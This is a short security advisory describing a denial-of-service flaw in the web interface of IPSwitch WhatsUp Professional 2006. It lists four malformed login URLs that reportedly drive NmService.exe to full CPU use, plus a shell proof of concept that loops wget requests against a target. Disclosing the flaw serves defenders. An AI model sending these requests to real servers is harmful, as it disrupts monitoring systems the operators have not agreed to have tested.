[NT] IPSwitch WhatsUp Professional DoS ([] Characters)

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IPSwitch WhatsUp Professional DoS ([] Characters)
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SUMMARY

<http://ipswitch.com/products/whatsup/professional/index.asp> IPSwitch
WhatsUp Professional is "a network monitoring and mapping tool". A remote
attacker can perform a denial of service attack on WhatsUp Professional
via its web interface

DETAILS

Vulnerable Systems:
* WhatsUp Professional 2006

The web interface service of WhatsUp (NmService.exe) does not handle
certain requests properly. The following URLs can be used to create a DoS
condition due to the NmService using 100% CPU:

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&;
sLoginPassword=&btnLogIn=[Log&In]=&sLoginUserName=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&;
sLoginUserName=&btnLogIn=[Log&In]=&sLoginPassword=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&;
sLoginUserName=&sLoginPassword=&In]=&btnLogIn=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&;
sLoginUserName=&sLoginPassword=&btnLogIn=[Log&In]=

Proof of Concept Code:
while [ 1 ];
do
wget -O /dev/null
http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&;
sLoginPassword=&b;tnLogIn=[Log&In]=&sLoginUserName=;
done


ADDITIONAL INFORMATION

The information has been provided by <mailto:jzlatin@xxxxxxxx> Josh
Zlatin-Amishav.
The original article can be found at:
<http://zur.homelinux.com/Advisories/ipswitch_dos.txt>
http://zur.homelinux.com/Advisories/ipswitch_dos.txt



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